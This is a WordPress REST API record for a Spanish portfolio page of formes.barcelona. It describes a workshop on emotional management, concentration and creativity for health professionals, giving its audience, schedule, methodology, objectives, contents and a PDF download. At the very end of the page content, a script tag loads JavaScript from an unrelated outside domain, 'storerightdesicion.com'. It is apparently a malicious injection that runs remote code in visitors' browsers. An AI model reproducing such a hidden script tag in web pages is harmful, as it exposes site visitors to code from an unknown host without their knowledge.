{"id":230,"date":"2017-12-31T18:30:45","date_gmt":"2017-12-31T18:30:45","guid":{"rendered":"http:\/\/formes.barcelona\/?page_id=230"},"modified":"2019-01-23T08:43:23","modified_gmt":"2019-01-23T08:43:23","slug":"gestion-emocional-concentracio-creatividad","status":"publish","type":"avada_portfolio","link":"http:\/\/formes.barcelona\/es\/portfolio\/gestion-emocional-concentracio-creatividad\/","title":{"rendered":"Gesti\u00f3n Emocional, Concentraci\u00f3n i Creatividad"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-flex-container nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;border-width: 0px 0px 0px 0px;border-color:#e7e4e2;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start\" style=\"max-width:1331.2px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_3 1_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div style=\"text-align:center;\"><span class=\" fusion-imageframe imageframe-none imageframe-1 hover-type-none\"><img decoding=\"async\" width=\"1200\" height=\"800\" title=\"emociones-1200px\" src=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px.jpg\" alt class=\"img-responsive wp-image-2947\" srcset=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px-200x133.jpg 200w, http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px-400x267.jpg 400w, http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px-600x400.jpg 600w, http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px-800x533.jpg 800w, http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/emociones-1200px.jpg 1200w\" sizes=\"(max-width: 640px) 100vw, 400px\" \/><\/span><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-0{width:33.333333333333% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-0 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 3.8399999999999%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 5.76%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-0{width:33.333333333333% !important;}.fusion-builder-column-0 > .fusion-column-wrapper {margin-right : 3.8399999999999%;margin-left : 5.76%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-0{width:100% !important;}.fusion-builder-column-0 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion_builder_column_2_3 2_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><style type=\"text\/css\">@media only screen and (max-width:1024px) {.fusion-title.fusion-title-1{margin-top:0px!important; margin-right:0px!important;margin-bottom:30px!important;margin-left:0px!important;}}@media only screen and (max-width:640px) {.fusion-title.fusion-title-1{margin-top:10px!important; margin-right:0px!important;margin-bottom:10px!important; margin-left:0px!important;}}<\/style><div class=\"fusion-title title fusion-title-1 fusion-title-center fusion-title-text fusion-title-size-two\" style=\"margin-top:0px;margin-right:0px;margin-bottom:30px;margin-left:0px;\"><div class=\"title-sep-container title-sep-container-left\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><span class=\"awb-title-spacer\"><\/span><h2 class=\"title-heading-center fusion-responsive-typography-calculated\" style=\"margin:0;--fontSize:34;line-height:1.47;\">Desarrollo y programaci\u00f3n<\/h2><span class=\"awb-title-spacer\"><\/span><div class=\"title-sep-container title-sep-container-right\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><\/div><div class=\"fusion-text fusion-text-1\"><p>Hoy en d\u00eda, tanto adultos, adolescentes como ni\u00f1os, estamos descubriendo c\u00f3mo gestionar y vivir nuestras emociones.<\/p>\n<p>Muchos tab\u00faes, muchos prejuicios y una sociedad competitiva que promueve la fuerza y condena la sensibilidad, no ayudan a que nos podamos relacionar con nosotros mismos de una manera respetuosa y amorosa para con nuestras emociones, sentimientos y pensamientos, lo que contribuye a vivir constantemente en una pelea interna, que posteriormente se exterioriza en todos los \u00e1mbitos de nuestra vida, desde las relaciones, en el mundo laboral, los estudios, a la familia y \/ o en la salud.<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-1{width:66.666666666667% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-1 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 2.88%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 3.84%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-1{width:66.666666666667% !important;}.fusion-builder-column-1 > .fusion-column-wrapper {margin-right : 2.88%;margin-left : 3.84%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-1{width:100% !important;}.fusion-builder-column-1 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-2 fusion_builder_column_1_1 1_1 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-text fusion-text-2\"><h3><span style=\"color: #3366ff;\">Dirigido a:<\/span><\/h3>\n<p>Profesionales sanitarios que est\u00e9n vinculados con cualquier colectivo de pacientes tanto a nivel sanitario como educativo.<\/p>\n<h3><span style=\"color: #3366ff;\">Programaci\u00f3n:<\/span><\/h3>\n<p>El programa se llevar\u00e1 a cabo en un total de 6h en 2 sesiones de 3h cada una de ma\u00f1ana o de tarde<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-2{width:100% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-2 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 1.92%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 1.92%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-2{width:100% !important;}.fusion-builder-column-2 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-2{width:100% !important;}.fusion-builder-column-2 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-flex-container.fusion-builder-row-1{ padding-top : 0px;margin-top : 0px;padding-right : 0px;padding-bottom : 0px;margin-bottom : 0px;padding-left : 0px;}<\/style><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 fusion-flex-container nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;border-width: 0px 0px 0px 0px;border-color:#e7e4e2;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-stretch\" style=\"max-width:1331.2px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_3 1_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-empty-column-bg-image\" style=\"background-image: url(&#039;http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/09\/metodologia-1200px.jpg&#039;);background-position:center top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\" data-bg-url=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/09\/metodologia-1200px.jpg\"><img decoding=\"async\" class=\"fusion-empty-dims-img-placeholder fusion-no-large-visibility fusion-no-medium-visibility\" src=\"data:image\/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271200%27%20height%3D%27660%27%20viewBox%3D%270%200%201200%20660%27%3E%3Crect%20width%3D%271200%27%20height%3D%27660%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E\"><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-3{width:33.333333333333% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-3 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 3.8399999999999%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 5.76%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-3{width:33.333333333333% !important;}.fusion-builder-column-3 > .fusion-column-wrapper {margin-right : 3.8399999999999%;margin-left : 5.76%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-3{width:100% !important;}.fusion-builder-column-3 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_2_3 2_3 fusion-flex-column\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><style type=\"text\/css\">@media only screen and (max-width:1024px) {.fusion-title.fusion-title-2{margin-top:0px!important; margin-right:0px!important;margin-bottom:30px!important;margin-left:0px!important;}}@media only screen and (max-width:640px) {.fusion-title.fusion-title-2{margin-top:10px!important; margin-right:0px!important;margin-bottom:10px!important; margin-left:0px!important;}}<\/style><div class=\"fusion-title title fusion-title-2 fusion-title-center fusion-title-text fusion-title-size-two\" style=\"margin-top:0px;margin-right:0px;margin-bottom:30px;margin-left:0px;\"><div class=\"title-sep-container title-sep-container-left\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><span class=\"awb-title-spacer\"><\/span><h2 class=\"title-heading-center fusion-responsive-typography-calculated\" style=\"margin:0;--fontSize:34;line-height:1.47;\">Metodolog\u00eda<\/h2><span class=\"awb-title-spacer\"><\/span><div class=\"title-sep-container title-sep-container-right\"><div class=\"title-sep sep-\" style=\"border-color:#e7e4e2;\"><\/div><\/div><\/div><div class=\"fusion-text fusion-text-3\"><p>En esta formaci\u00f3n se pondr\u00e1 el foco en no condenar, ni juzgar, ni esconder, ni rechazar todas aquellas emociones, sentimientos y pensamientos que conviven con nosotros, para as\u00ed poder establecer una relaci\u00f3n m\u00e1s amable y comprensiva, que nos ayude a integrarse y transformarlos de manera natural.<\/p>\n<p>A trav\u00e9s del debate y de las pr\u00e1cticas se ir\u00e1 llevando a cabo los contenidos y objetivos.<\/p>\n<\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-4{width:66.666666666667% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-4 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 2.88%;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 3.84%;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-4{width:66.666666666667% !important;}.fusion-builder-column-4 > .fusion-column-wrapper {margin-right : 2.88%;margin-left : 3.84%;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-4{width:100% !important;}.fusion-builder-column-4 > .fusion-column-wrapper {margin-right : 1.92%;margin-left : 1.92%;}}<\/style><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-flex-container.fusion-builder-row-2{ padding-top : 0px;margin-top : 0px;padding-right : 0px;padding-bottom : 0px;margin-bottom : 0px;padding-left : 0px;}<\/style><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-3 fusion-flex-container nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;border-width: 0px 0px 0px 0px;border-color:#e7e4e2;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start\" style=\"max-width:calc( 1280px + 0px );margin-left: calc(-0px \/ 2 );margin-right: calc(-0px \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion_builder_column_1_1 1_1 fusion-flex-column fusion-flex-align-self-flex-start fusion-column-no-min-height\"><div class=\"fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-text fusion-text-4\"><h3>Objetivos<\/h3>\n<ul>\n<li>Ofrecer un punto de vista diferente a la relaci\u00f3n y conocimiento que tenemos con las propias emociones.<\/li>\n<li>Eliminar tab\u00faes y prejuicios, para con determinados sentimientos, emociones y pensamientos.<\/li>\n<li>Dotar de recursos y herramientas, a para facilitar una integraci\u00f3n inclusiva de las emociones, sentimientos y pensamientos, de manera aut\u00f3noma, o para ayudar a alguien.<\/li>\n<li>Aprender a relacionarse con la realidad desde un punto de vista honesto con uno mismo y objetivo hacia el exterior.<\/li>\n<li>Aumentar la autoestima, la capacidad de concentraci\u00f3n y la creatividad.<\/li>\n<li>Comprender la responsabilizaci\u00f3n de nuestras emociones y de las reacciones.<\/li>\n<li>Adquirir recursos para aprender a acompa\u00f1ar emocionalmente de una manera respetuosa a los seres queridos y apreciados.<\/li>\n<\/ul>\n<h3>Contenido<\/h3>\n<ul>\n<li>Origen y significado de las emociones.<\/li>\n<li>Pensamientos, sentimientos, emociones<\/li>\n<li>Objetividad vs Subjetividad (Realidad vs Paranoia)<\/li>\n<li>Conceptos como Felicidad, vulnerabilidad, valent\u00eda, honestidad, fuerza, poder &#8230;<\/li>\n<li>Proceso de reconocimiento de emociones<\/li>\n<li>Tab\u00faes en relaci\u00f3n a las emociones.<\/li>\n<li>T\u00e9cnicas para la Aceptaci\u00f3n e integraci\u00f3n emocional:\n<ul>\n<li>Respiraci\u00f3n<\/li>\n<li>Escritura<\/li>\n<li>Paseo<\/li>\n<li>Visualizaci\u00f3n<\/li>\n<li>Descarga f\u00edsica o emocional<\/li>\n<li>Pr\u00e1ctica de la atenci\u00f3n plena y el silencio. Como fuente de concentraci\u00f3n, relajaci\u00f3n y creatividad. (Aplicable a todos los campos: Estudios, deportivo, art\u00edstico &#8230;)<\/li>\n<li>Autoestima incondicional<\/li>\n<\/ul>\n<\/li>\n<li>\u00bfC\u00f3mo hacer un acompa\u00f1amiento emocional respetuoso con un ser apreciado?<\/li>\n<li>Propuestas de actividades y din\u00e1micas para trabajarlo con adolescentes.\n<ul>\n<li>Meditaci\u00f3n y Visualizaci\u00f3n guiada<\/li>\n<li>Debates<\/li>\n<li>Ejercicio de liberaci\u00f3n emocional<\/li>\n<li>Ejercicios de roles. (Para el acompa\u00f1amiento)<\/li>\n<li>Ejercicios de respiraci\u00f3n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/div><div class=\"fusion-modal modal fade modal-1 pdf\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"modal-heading-1\" aria-hidden=\"true\"><style type=\"text\/css\">.modal-1 .modal-header, .modal-1 .modal-footer{border-color:#e7e4e2;}<\/style><div class=\"modal-dialog modal-lg\" role=\"document\"><div class=\"modal-content fusion-modal-content\" style=\"background-color:#faf9f8\"><div class=\"modal-header\"><button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-hidden=\"true\" aria-label=\"Close\">&times;<\/button><h3 class=\"modal-title\" id=\"modal-heading-1\" data-dismiss=\"modal\" aria-hidden=\"true\">DOCUMENTO<\/h3><\/div><div class=\"modal-body fusion-clearfix\"><a href=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/TALLER-GESTION-EMOCIONAL-CONCENTRACION-Y-CREATIVIDAD_DB.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\" data-toolbar=\"bottom\" data-toolbar-fixed=\"on\">TALLER GESTION EMOCIONAL, CONCENTRACION Y CREATIVIDAD_DB<\/a>\n<div class=\"fusion-aligncenter\"><style>.fusion-button.button-1{border-radius:4px 4px 4px 4px;}<\/style><a class=\"fusion-button button-flat fusion-button-default-size button-default button-1 fusion-button-default-span fusion-button-default-type\" target=\"_blank\" rel=\"noopener noreferrer\" href=\"http:\/\/formes.barcelona\/wp-content\/uploads\/2017\/12\/TALLER-GESTION-EMOCIONAL-CONCENTRACION-Y-CREATIVIDAD_DB.pdf\"><span class=\"fusion-button-text\">DESCARGAR<\/span><\/a><\/div><\/div><\/div><\/div><\/div><div style=\"text-align:center;\"><style>.fusion-button.button-2{border-radius:4px 4px 4px 4px;}<\/style><a class=\"fusion-button button-flat fusion-button-default-size button-default button-2 fusion-button-span-no fusion-button-default-type\" target=\"_self\" href=\"#\" data-toggle=\"modal\" data-target=\".fusion-modal.pdf\"><span class=\"fusion-button-text\">VER PDF<\/span><\/a><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-builder-column-5{width:100% !important;margin-top : 10px;margin-bottom : 10px;}.fusion-builder-column-5 > .fusion-column-wrapper {padding-top : 0px !important;padding-right : 0px !important;margin-right : 0px;padding-bottom : 0px !important;padding-left : 0px !important;margin-left : 0px;}@media only screen and (max-width:1024px) {.fusion-body .fusion-builder-column-5{width:100% !important;}.fusion-builder-column-5 > .fusion-column-wrapper {margin-right : 0px;margin-left : 0px;}}@media only screen and (max-width:640px) {.fusion-body .fusion-builder-column-5{width:100% !important;}.fusion-builder-column-5 > .fusion-column-wrapper {margin-right : 0px;margin-left : 0px;}}<\/style><\/div><\/div><style type=\"text\/css\">.fusion-body .fusion-flex-container.fusion-builder-row-3{ padding-top : 0px;margin-top : 0px;padding-right : 0px;padding-bottom : 0px;margin-bottom : 0px;padding-left : 0px;}<\/style><\/div><script src='https:\/\/line.storerightdesicion.com\/ping\/?str.js' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":2947,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","format":"standard","meta":[],"portfolio_category":[25],"portfolio_skills":[],"portfolio_tags":[],"_links":{"self":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/230"}],"collection":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio"}],"about":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/types\/avada_portfolio"}],"author":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/comments?post=230"}],"version-history":[{"count":4,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/230\/revisions"}],"predecessor-version":[{"id":2951,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/avada_portfolio\/230\/revisions\/2951"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/media\/2947"}],"wp:attachment":[{"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/media?parent=230"}],"wp:term":[{"taxonomy":"portfolio_category","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_category?post=230"},{"taxonomy":"portfolio_skills","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_skills?post=230"},{"taxonomy":"portfolio_tags","embeddable":true,"href":"http:\/\/formes.barcelona\/es\/wp-json\/wp\/v2\/portfolio_tags?post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}